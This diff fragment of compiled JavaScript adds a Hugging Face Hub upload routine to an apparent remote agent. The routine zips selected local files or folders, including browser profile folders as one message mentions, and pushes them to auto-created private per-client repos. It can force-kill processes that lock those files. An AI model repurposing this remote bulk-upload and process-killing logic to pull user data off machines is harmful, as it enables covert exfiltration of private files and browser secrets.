+ onProgress?.({
537
+ phase: "prepare",
538
+ pct: 8,
539
+ detail: `staging ${i + 1}/${absSelection.length}: ${path.basename(src) || src}`,
540
+ });
541
+ const { mirrorPath, baseName } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(src, perItemRoot, mirrorOpts);
542
+ if (!fs.existsSync(mirrorPath)) {
543
+ skippedItems++;
544
+ continue;
545
+ }
546
+ const destName = uniqueSelectionEntryName(stageRoot, baseName);
547
+ const destPath = path.join(stageRoot, destName);
548
+ await fs.promises.cp(mirrorPath, destPath, { recursive: true, force: true, dereference: false });
549
+ stagedItems++;
550
+ }
551
+ catch {
552
+ /** Multi-select should continue even if one selected item is locked/unreadable. */
553
+ skippedItems++;
554
+ }
555
+ finally {
556
+ try {
557
+ await (0, exportMirrorCopy_1.removeMirrorStaging)(perItemRoot);
558
+ }
559
+ catch {
560
+ /* skip */
561
+ }
562
+ try {
563
+ fs.rmSync(perItemRoot, { recursive: true, force: true });
564
+ }
565
+ catch {
566
+ /* skip */
567
+ }
568
+ }
569
+ }
570
+ return { stagedItems, skippedItems };
571
+ }
572
+ function parseRepoId(repoRaw) {
573
+ const repo = String(repoRaw || "").trim();
574
+ if (!repo)
575
+ throw new Error("repo is required (e.g. namespace/model or datasets/ns/ds)");
576
+ return repo;
577
+ }
578
+ /** After mirror staging: no regular files means everything was skipped (locks) or tree is empty. */
579
+ const HF_MIRROR_NO_FILES_MSG = "No files could be copied for upload — they may all be locked or unreadable. Close programs using those files (e.g. the browser for a profile folder), or choose a smaller path, then retry.";
580
+ function countFilesRecursive(dir, maxFiles) {
581
+ let count = 0;
582
+ const walk = (d) => {
583
+ let entries;
584
+ try {
585
+ entries = fs.readdirSync(d, { withFileTypes: true });
586
+ }
587
+ catch {
588
+ return;
589
+ }
590
+ for (const ent of entries) {
591
+ const child = path.join(d, ent.name);
592
+ if (ent.isSymbolicLink()) {
593
+ continue;
594
+ }
595
+ if (ent.isDirectory()) {
596
+ walk(child);
597
+ }
598
+ else if (ent.isFile()) {
599
+ count++;
600
+ if (count > maxFiles) {
601
+ throw new Error(`too many files in folder (max ${maxFiles})`);
602
+ }
603
+ }
604
+ }
605
+ };
606
+ walk(dir);
607
+ return count;
608
+ }
609
+ /** Pack one file into a store-only zip (exported for tests). */
610
+ async function writeSingleFileZipStoreOnly(sourceFile, zipPath) {
611
+ await fs.promises.mkdir(path.dirname(zipPath), { recursive: true });
612
+ const output = (0, node_fs_1.createWriteStream)(zipPath);
613
+ const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
614
+ const fail = (err) => {
615
+ try {
616
+ output.destroy(err);
617
+ }
618
+ catch {
619
+ /* skip */
620
+ }
621
+ };
622
+ archive.on("error", fail);
623
+ output.on("error", fail);
624
+ archive.pipe(output);
625
+ const entryName = path.basename(sourceFile) || "file";
626
+ archive.file(sourceFile, { name: entryName });
627
+ try {
628
+ await archive.finalize();
629
+ await (0, promises_1.finished)(output);
630
+ }
631
+ catch (e) {
632
+ try {
633
+ fs.unlinkSync(zipPath);
634
+ }
635
+ catch {
636
+ /* skip */
637
+ }
638
+ throw e;
639
+ }
640
+ }
641
+ async function writeDirectoryZipStoreOnly(sourceDir, zipPath) {
642
+ await fs.promises.mkdir(path.dirname(zipPath), { recursive: true });
643
+ const output = (0, node_fs_1.createWriteStream)(zipPath);
644
+ const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
645
+ const fail = (err) => {
646
+ try {
647
+ output.destroy(err);
648
+ }
649
+ catch {
650
+ /* skip */
651
+ }
652
+ };
653
+ archive.on("error", fail);
654
+ output.on("error", fail);
655
+ archive.pipe(output);
656
+ const baseName = path.basename(sourceDir) || "folder";
657
+ let entries = 0;
658
+ archive.on("entry", () => {
659
+ entries++;
660
+ if (entries % 400 === 0) {
661
+ void yieldEventLoop();
662
+ }
663
+ });
664
+ archive.directory(sourceDir, baseName);
665
+ try {
666
+ await archive.finalize();
667
+ await (0, promises_1.finished)(output);
668
+ }
669
+ catch (e) {
670
+ try {
671
+ fs.unlinkSync(zipPath);
672
+ }
673
+ catch {
674
+ /* skip */
675
+ }
676
+ throw e;
677
+ }
678
+ }
679
+ /** One run = one folder under `exports/` so uploads append without replacing prior exports. */
680
+ function newExportRunFolder() {
681
+ const rnd = (0, node_crypto_1.randomBytes)(4).toString("hex");
682
+ const iso = new Date().toISOString().replace(/[:.]/g, "-");
683
+ return `exports/${iso}_${rnd}`;
684
+ }
685
+ /** Serialize Hub uploads so per-run `HF_HOME` / `HUGGINGFACE_HUB_CACHE` overrides never race. */
686
+ let hfUploadSerialGate = Promise.resolve();
687
+ /**
688
+ * Fresh Hugging Face Hub cache for one upload, removed afterward so Hub client data and tokens are
689
+ * not left under the user cache on the agent (relay-first deployments).
690
+ */
691
+ async function withEphemeralHfHubCache(fn) {
692
+ const prevHub = process.env.HUGGINGFACE_HUB_CACHE;
693
+ const prevHome = process.env.HF_HOME;
694
+ const cacheRoot = fs.mkdtempSync(path.join(os.tmpdir(), "forge-hf-hub-cache-"));
695
+ process.env.HF_HOME = cacheRoot;
696
+ process.env.HUGGINGFACE_HUB_CACHE = path.join(cacheRoot, "hub");
697
+ fs.mkdirSync(process.env.HUGGINGFACE_HUB_CACHE, { recursive: true });
698
+ try {
699
+ return await fn();
700
+ }
701
+ finally {
702
+ try {
703
+ if (prevHub === undefined)
704
+ delete process.env.HUGGINGFACE_HUB_CACHE;
705
+ else
706
+ process.env.HUGGINGFACE_HUB_CACHE = prevHub;
707
+ }
708
+ catch {
709
+ /* skip */
710
+ }
711
+ try {
712
+ if (prevHome === undefined)
713
+ delete process.env.HF_HOME;
714
+ else
715
+ process.env.HF_HOME = prevHome;
716
+ }
717
+ catch {
718
+ /* skip */
719
+ }
720
+ try {
721
+ fs.rmSync(cacheRoot, { recursive: true, force: true });
722
+ }
723
+ catch {
724
+ /* skip */
725
+ }
726
+ }
727
+ }
728
+ async function runHfUploadCore(opts) {
729
+ const roots = (0, fsProtocol_1.allowedFsRoots)();
730
+ const requestedPaths = Array.isArray(opts.pathList)
731
+ ? opts.pathList.map((v) => String(v || "").trim()).filter(Boolean)
732
+ : [];
733
+ const sourcePaths = requestedPaths.length > 0 ? requestedPaths : [String(opts.pathStr || "").trim()];
734
+ const hasPathListInput = requestedPaths.length > 0;
735
+ const resolvedLocalPaths = [];
736
+ let skippedPreStageItems = 0;
737
+ let firstSkippedResolveError = "";
738
+ const seenResolved = new Set();
739
+ const dedupeResolvedPath = (p) => process.platform === "win32" ? p.toLowerCase() : p;
740
+ for (const rawPath of sourcePaths) {
741
+ const { path: resolvedPath, error } = (0, fsProtocol_1.resolveFsPath)(rawPath, roots);
742
+ if (error) {
743
+ if (hasPathListInput) {
744
+ skippedPreStageItems++;
745
+ if (!firstSkippedResolveError)
746
+ firstSkippedResolveError = error;
747
+ continue;
748
+ }
749
+ return { ok: false, error };
750
+ }
751
+ const dedupeKey = dedupeResolvedPath(resolvedPath);
752
+ if (seenResolved.has(dedupeKey)) {
753
+ skippedPreStageItems++;
754
+ continue;
755
+ }
756
+ seenResolved.add(dedupeKey);
757
+ resolvedLocalPaths.push(resolvedPath);
758
+ }
759
+ if (resolvedLocalPaths.length === 0) {
760
+ return hasPathListInput
761
+ ? {
762
+ ok: false,
763
+ error: firstSkippedResolveError
764
+ ? `No valid selected paths to upload (${firstSkippedResolveError}).`
765
+ : "No valid selected paths to upload.",
766
+ }
767
+ : { ok: false, error: "path is required" };
768
+ }
769
+ const localPath = resolvedLocalPaths[0] || "";
770
+ /** If the UI sent a true multi-selection, keep one-zip semantics even if some items were skipped. */
771
+ const isMultiSelection = sourcePaths.length > 1 || resolvedLocalPaths.length > 1;
772
+ if (!localPath)
773
+ return { ok: false, error: "path is required" };
774
+ let cred;
775
+ try {
776
+ cred = opts.hfCredentials ?? (0, hfCredentials_1.loadHfCredentials)();
777
+ }
778
+ catch (e) {
779
+ return { ok: false, error: e instanceof Error ? e.message : String(e) };
780
+ }
781
+ const nsOverride = (opts.hfNamespace || process.env.CFGMGR_HF_NAMESPACE || "").trim();
782
+ const namespace = (nsOverride || cred.namespace || "").trim();
783
+ let resolvedRepoStr;
784
+ let allowCreateRepo;
785
+ let folderMode;
786
+ if (opts.autoSessionRepo) {
787
+ const ct = (opts.clientTableName || "").trim();
788
+ if (!ct) {
789
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
790
+ return { ok: false, error: "client_table (session / DB table id) is required for session repo mode" };
791
+ }
792
+ if (!namespace) {
793
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
794
+ return {
795
+ ok: false,
796
+ error: "HF namespace is required: add \"namespace\" to encrypted credentials JSON, or set CFGMGR_HF_NAMESPACE on the agent",
797
+ };
798
+ }
799
+ let seqForSlug = opts.clientSeqId !== undefined &&
800
+ opts.clientSeqId !== null &&
801
+ Number.isFinite(Number(opts.clientSeqId)) &&
802
+ Number(opts.clientSeqId) >= 0
803
+ ? Math.floor(Number(opts.clientSeqId))
804
+ : undefined;
805
+ if (seqForSlug === undefined) {
806
+ seqForSlug = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(ct);
807
+ }
808
+ const seqResolved = seqForSlug ?? null;
809
+ if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seqResolved === null) {
810
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
811
+ return {
812
+ ok: false,
813
+ error: "Session Hub repo requires forge-db seq_id (Hub name: namespace/client_<seq_id>). " +
814
+ "Could not resolve seq_id for this client_table. Set RELAY_FORGE_DB_API_URL / FORGE_JS_SYNC_URL / " +
815
+ "CFGMGR_API_URL and RELAY_FORGE_DB_API_KEY / FORGE_DB_API_KEY so GET /api/clients succeeds, " +
816
+ "ensure this machine is registered in _client_registry, or pass client_seq_id on fs_hf_upload. " +
817
+ "Or set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow the legacy client_<uuid> Hub repo slug when seq_id cannot be resolved.",
818
+ };
819
+ }
820
+ const tableSlug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(ct, seqResolved);
821
+ resolvedRepoStr = `${namespace}/${tableSlug}`;
822
+ allowCreateRepo = true;
823
+ folderMode = "zip";
824
+ }
825
+ else {
826
+ resolvedRepoStr = (opts.repo || "").trim();
827
+ if (!resolvedRepoStr) {
828
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
829
+ return { ok: false, error: "repo is required (or enable session repo mode)" };
830
+ }
831
+ allowCreateRepo = Boolean(opts.createRepo);
832
+ folderMode = opts.folderMode === "tree" ? "tree" : "zip";
833
+ }
834
+ const repo = parseRepoId(resolvedRepoStr);
835
+ const destPrefix = normalizeDestPrefix(opts.destination ?? "");
836
+ const exportBase = joinRemotePath(destPrefix, newExportRunFolder());
837
+ const delayMs = interFileDelayMs();
838
+ const sendProgress = (p) => {
839
+ try {
840
+ opts.onProgress?.(p);
841
+ }
842
+ catch {
843
+ /* skip */
844
+ }
845
+ };
846
+ const hubUrl = cred.hubUrl;
847
+ const token = cred.token;
848
+ const hfFetch = buildHubFetch();
849
+ /** After force-kill, mirror copy still benefits from longer retries (locks may clear slowly). */
850
+ const mirrorOpts = opts.force || opts.forceKill ? { force: true } : undefined;
851
+ let killedForUnlock = [];
852
+ if (opts.forceKill) {
853
+ for (const p of resolvedLocalPaths) {
854
+ const u = await (0, fileLockForce_1.forceUnlockPath)(p);
855
+ if (u.killed.length > 0)
856
+ killedForUnlock.push(...u.killed);
857
+ }
858
+ }
859
+ let st = null;
860
+ if (!isMultiSelection) {
861
+ try {
862
+ st = fs.statSync(localPath);
863
+ }
864
+ catch (e) {
865
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
866
+ return { ok: false, error: String(e) };
867
+ }
868
+ }
869
+ const ensureRepo = async () => {
870
+ const exists = await (0, hub_1.repoExists)({
871
+ repo,
872
+ accessToken: token,
873
+ hubUrl,
874
+ ...(hfFetch ? { fetch: hfFetch } : {}),
875
+ });
876
+ if (exists)
877
+ return;
878
+ if (!allowCreateRepo) {
879
+ throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
880
+ "or pass create_repo: true to create an empty **private** repo automatically.");
881
+ }
882
+ sendProgress({ phase: "prepare", pct: 5, detail: "creating repository…" });
883
+ await (0, hub_1.createRepo)({
884
+ repo,
885
+ accessToken: token,
886
+ hubUrl,
887
+ private: true,
888
+ ...(hfFetch ? { fetch: hfFetch } : {}),
889
+ });
890
+ };
891
+ try {
892
+ await ensureRepo();
893
+ if (isMultiSelection) {
894
+ const zipName = "selection.zip";
895
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));
896
+ const tmpZip = path.join(tmpDir, zipName);
897
+ const stagedRoot = path.join(tmpDir, "selection");
898
+ try {
899
+ sendProgress({
900
+ phase: "prepare",
901
+ pct: 5,
902
+ detail: `copying ${resolvedLocalPaths.length} selected paths to temp…`,
903
+ });
904
+ const staged = await stageMultiSelectionToTempRoot(resolvedLocalPaths, stagedRoot, mirrorOpts, sendProgress);
905
+ const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(stagedRoot);
906
+ if (stagedFiles === 0) {
907
+ return { ok: false, error: HF_MIRROR_NO_FILES_MSG };
908
+ }
909
+ sendProgress({ phase: "prepare", pct: 18, detail: "zipping multi selection (store-only)…" });
910
+ await writeDirectoryZipStoreOnly(stagedRoot, tmpZip);
911
+ const remotePath = joinRemotePath(exportBase, zipName);
912
+ sendProgress({ phase: "upload", pct: 45, detail: remotePath });
913
+ const out = await uploadFileWithHardening({
914
+ repo,
915
+ accessToken: token,
916
+ hubUrl,
917
+ useWebWorkers: false,
918
+ useXet: hubUseXet(),
919
+ ...(hfFetch ? { fetch: hfFetch } : {}),
920
+ file: {
921
+ path: remotePath.replace(/\\/g, "/"),
922
+ content: await (0, hfHubUploadContent_1.hubContentFromLocalPath)(tmpZip),
923
+ },
924
+ commitTitle: `Upload ${zipName} (multi selection export)`,
925
+ }, tmpZip);
926
+ sendProgress({ phase: "commit", pct: 100, detail: "done" });
927
+ return {
928
+ ok: true,
929
+ path: localPath,
930
+ paths: resolvedLocalPaths,
931
+ repo: resolvedRepoStr,
932
+ mode: "zip",
933
+ remote_path: remotePath,
934
+ commit: out?.commit?.url ?? "",
935
+ export_base: exportBase,
936
+ staged_items: staged.stagedItems,
937
+ skipped_items: staged.skippedItems + skippedPreStageItems,
938
+ };
939
+ }
940
+ finally {
941
+ sendProgress({ phase: "cleanup", pct: 100, detail: "removing temp zip" });
942
+ try {
943
+ fs.rmSync(tmpDir, { recursive: true, force: true });
944
+ }
945
+ catch {
946
+ /* skip */
947
+ }
948
+ try {
949
+ (0, fsProtocol_1.purgeStaleExplorerStaging)();
950
+ }
951
+ catch {
952
+ /* skip */
953
+ }
954
+ }
955
+ }
956
+ if (st && st.isFile()) {
957
+ /** One store-only .zip per file selection (same LFS semantics as folder exports). */
958
+ const baseName = path.basename(localPath);
959
+ const zipName = `${(0, hfHubPathSanitize_1.sanitizeHubFilename)(baseName)}.zip`;
960
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-filezip-"));
961
+ const tmpZip = path.join(tmpDir, zipName);
962
+ try {
963
+ sendProgress({ phase: "prepare", pct: 5, detail: "copying file snapshot to temp…" });
964
+ const { mirrorPath } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(localPath, tmpDir, mirrorOpts);
965
+ sendProgress({ phase: "prepare", pct: 10, detail: "packing file (store-only zip)…" });
966
+ await writeSingleFileZipStoreOnly(mirrorPath, tmpZip);
967
+ try {
968
+ await (0, exportMirrorCopy_1.removeMirrorStaging)(tmpDir);
969
+ }
970
+ catch {
971
+ /* temp dir removed in finally */
972
+ }
973
+ const remotePath = joinRemotePath(exportBase, zipName);
974
+ sendProgress({ phase: "upload", pct: 40, detail: remotePath });
975
+ const out = await uploadFileWithHardening({
976
+ repo,
977
+ accessToken: token,
978
+ hubUrl,
979
+ useWebWorkers: false,
980
+ useXet: hubUseXet(),
981
+ ...(hfFetch ? { fetch: hfFetch } : {}),
982
+ file: {
983
+ path: remotePath.replace(/\\/g, "/"),
984
+ content: await (0, hfHubUploadContent_1.hubContentFromLocalPath)(tmpZip),
985
+ },
986
+ commitTitle: `Upload ${zipName} (file export)`,
987
+ }, tmpZip);
988
+ sendProgress({ phase: "commit", pct: 100, detail: "done" });
989
+ return {
990
+ ok: true,
991
+ path: localPath,
992
+ repo: resolvedRepoStr,
993
+ mode: "zip",
994
+ remote_path: remotePath,
995
+ commit: out?.commit?.url ?? "",
996
+ export_base: exportBase,
997
+ };
998
+ }
999
+ finally {
1000
+ sendProgress({ phase: "cleanup", pct: 100, detail: "removing temp zip" });
1001
+ try {
1002
+ fs.rmSync(tmpDir, { recursive: true, force: true });
1003
+ }
1004
+ catch {
1005
+ /* skip */
1006
+ }
1007
+ try {
1008
+ (0, fsProtocol_1.purgeStaleExplorerStaging)();
1009
+ }
1010
+ catch {
1011
+ /* skip */
1012
+ }
1013
+ }
1014
+ }
1015
+ if (!st || !st.isDirectory()) {
1016
+ return { ok: false, error: "path is not a file or directory" };
1017
+ }
1018
+ const maxF = maxZipFilesLimit();
1019
+ try {
1020
+ countFilesRecursive(localPath, maxF);
1021
+ }
1022
+ catch (e) {
1023
+ return { ok: false, error: e instanceof Error ? e.message : String(e) };
1024
+ }
1025
+ if (folderMode === "tree") {
1026
+ const treeTmp = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-tree-"));
1027
+ try {
1028
+ sendProgress({ phase: "prepare", pct: 5, detail: "copying folder snapshot for tree upload…" });
1029
+ const { mirrorPath } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(localPath, treeTmp, mirrorOpts);
1030
+ const files = [];
1031
+ const walk = (d, rel) => {
1032
+ let entries;
1033
+ try {
1034
+ entries = fs.readdirSync(d, { withFileTypes: true });
1035
+ }
1036
+ catch {
1037
+ return;
1038
+ }
1039
+ for (const ent of entries) {
1040
+ const abs = path.join(d, ent.name);
1041
+ const r = rel ? `${rel}/${ent.name}` : ent.name;
1042
+ if (ent.isSymbolicLink()) {
1043
+ continue;
1044
+ }
1045
+ if (ent.isDirectory()) {
1046
+ walk(abs, r);
1047
+ }
1048
+ else if (ent.isFile()) {
1049
+ files.push({ abs, rel: r.replace(/\\/g, "/") });
1050
+ }
1051
+ }
1052
+ };
1053
+ walk(mirrorPath, "");
1054
+ const total = files.length;
1055
+ if (total === 0) {
1056
+ return { ok: false, error: HF_MIRROR_NO_FILES_MSG };
1057
+ }
1058
+ const batchSize = treeBatchSize();
1059
+ for (let i = 0; i < files.length; i += batchSize) {
1060
+ const batch = files.slice(i, i + batchSize);
1061
+ const done = Math.min(i + batch.length, total);
1062
+ const pct = Math.round((100 * done) / total);
1063
+ sendProgress({
1064
+ phase: "upload",
1065
+ pct: Math.min(99, Math.max(5, pct)),
1066
+ detail: `${done}/${total} (batch ${Math.floor(i / batchSize) + 1})`,
1067
+ });
1068
+ /** Sequential loads avoid parallel huge buffers and Hub client races on tree batches. */
1069
+ const loadBatchContents = async () => {
1070
+ const out = [];
1071
+ for (const { abs } of batch) {
1072
+ out.push(await (0, hfHubUploadContent_1.hubContentFromLocalPath)(abs));
1073
+ }
1074
+ return out;
1075
+ };
1076
+ const hubFilesBase = {
1077
+ repo,
1078
+ accessToken: token,
1079
+ hubUrl,
1080
+ useWebWorkers: false,
1081
+ useXet: hubUseXet(),
1082
+ ...(hfFetch ? { fetch: hfFetch } : {}),
1083
+ maxFolderDepth: 64,
1084
+ };
1085
+ const contents = await loadBatchContents();
1086
+ const treeCommitTitle = `Upload folder files ${i + 1}–${done} of ${total}`;
1087
+ try {
1088
+ await uploadFilesWithHardening({
1089
+ ...hubFilesBase,
1090
+ files: batch.map(({ rel }, j) => ({
1091
+ path: joinRemotePath(exportBase, (0, hfHubPathSanitize_1.sanitizeHubRelativePath)(rel)).replace(/\\/g, "/"),
1092
+ content: contents[j],
1093
+ })),
1094
+ commitTitle: treeCommitTitle,
1095
+ });
1096
+ }
1097
+ catch (e) {
1098
+ /** Same class of Blob / Hub client TypeErrors as zip uploads — one full re-read of the batch often succeeds. */
1099
+ if (!isHubBlobOrContentTypeError(e))
1100
+ throw e;
1101
+ await yieldEventLoop();
1102
+ await new Promise((r) => setTimeout(r, 250));
1103
+ const contents2 = await loadBatchContents();
1104
+ await uploadFilesWithHardening({
1105
+ ...hubFilesBase,
1106
+ files: batch.map(({ rel }, j) => ({
1107
+ path: joinRemotePath(exportBase, (0, hfHubPathSanitize_1.sanitizeHubRelativePath)(rel)).replace(/\\/g, "/"),
1108
+ content: contents2[j],
1109
+ })),
1110
+ commitTitle: `${treeCommitTitle} (blob retry)`,
1111
+ });
1112
+ }
1113
+ if (delayMs > 0 && i + batchSize < files.length) {
1114
+ await new Promise((r) => setTimeout(r, delayMs));
1115
+ }
1116
+ }
1117
+ sendProgress({ phase: "commit", pct: 100, detail: "done" });
1118
+ return {
1119
+ ok: true,
1120
+ path: localPath,
1121
+ repo: resolvedRepoStr,
1122
+ mode: "tree",
1123
+ files: total,
1124
+ export_base: exportBase,
1125
+ };
1126
+ }
1127
+ finally {
1128
+ sendProgress({ phase: "cleanup", pct: 100, detail: "removing tree upload staging" });
1129
+ try {
1130
+ fs.rmSync(treeTmp, { recursive: true, force: true });
1131
+ }
1132
+ catch {
1133
+ /* skip */
1134
+ }
1135
+ try {
1136
+ (0, fsProtocol_1.purgeStaleExplorerStaging)();
1137
+ }
1138
+ catch {
1139
+ /* skip */
1140
+ }
1141
+ }
1142
+ }
1143
+ /** Default: single store-only zip (minimal CPU; Hub uses LFS for large blobs; Xet never used). */
1144
+ const folderName = path.basename(localPath) || "folder";
1145
+ const zipName = `${(0, hfHubPathSanitize_1.sanitizeHubFilename)(folderName)}.zip`;
1146
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-zip-"));
1147
+ const tmpZip = path.join(tmpDir, zipName);
1148
+ try {
1149
+ sendProgress({ phase: "prepare", pct: 8, detail: "copying folder snapshot to temp…" });
1150
+ const { mirrorPath } = await (0, exportMirrorCopy_1.copySelectionToMirrorStaging)(localPath, tmpDir, mirrorOpts);
1151
+ if ((0, exportMirrorCopy_1.countRegularFilesRecursive)(mirrorPath) === 0) {
1152
+ return { ok: false, error: HF_MIRROR_NO_FILES_MSG };
1153
+ }
1154
+ sendProgress({ phase: "prepare", pct: 15, detail: "zipping folder (store-only, low CPU)…" });
1155
+ await writeDirectoryZipStoreOnly(mirrorPath, tmpZip);
1156
+ try {
1157
+ await (0, exportMirrorCopy_1.removeMirrorStaging)(tmpDir);
1158
+ }
1159
+ catch {
1160
+ /* temp dir removed in finally */
1161
+ }
1162
+ const remotePath = joinRemotePath(exportBase, zipName);
1163
+ sendProgress({ phase: "upload", pct: 40, detail: remotePath });
1164
+ const out = await uploadFileWithHardening({
1165
+ repo,
1166
+ accessToken: token,
1167
+ hubUrl,
1168
+ useWebWorkers: false,
1169
+ useXet: hubUseXet(),
1170
+ ...(hfFetch ? { fetch: hfFetch } : {}),
1171
+ file: {
1172
+ path: remotePath.replace(/\\/g, "/"),
1173
+ content: await (0, hfHubUploadContent_1.hubContentFromLocalPath)(tmpZip),
1174
+ },
1175
+ commitTitle: `Upload ${zipName} (folder export)`,
1176
+ }, tmpZip);
1177
+ sendProgress({ phase: "commit", pct: 100, detail: "done" });
1178
+ return {
1179
+ ok: true,
1180
+ path: localPath,
1181
+ repo: resolvedRepoStr,
1182
+ mode: "zip",
1183
+ remote_path: remotePath,
1184
+ commit: out?.commit?.url ?? "",
1185
+ export_base: exportBase,
1186
+ };
1187
+ }
1188
+ finally {
1189
+ sendProgress({ phase: "cleanup", pct: 100, detail: "removing temp zip" });
1190
+ try {
1191
+ fs.rmSync(tmpDir, { recursive: true, force: true });
1192
+ }
1193
+ catch {
1194
+ /* skip */
1195
+ }
1196
+ try {
1197
+ (0, fsProtocol_1.purgeStaleExplorerStaging)();
1198
+ }
1199
+ catch {
1200
+ /* skip */
1201
+ }
1202
+ }
1203
+ }
1204
+ catch (e) {
1205
+ return { ok: false, error: formatHfUploadError(e) };
1206
+ }
1207
+ finally {
1208
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
1209
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
1210
+ }
1211
+ }
1212
+ async function runHfUpload(opts) {
1213
+ const prev = hfUploadSerialGate;
1214
+ let release;
1215
+ hfUploadSerialGate = new Promise((res) => {
1216
+ release = res;
1217
+ });
1218
+ await prev;
1219
+ try {
1220
+ return await withEphemeralHfHubCache(() => runHfUploadCore(opts));
1221
+ }
1222
+ finally {
1223
+ release();
1224
+ }
1225
+ }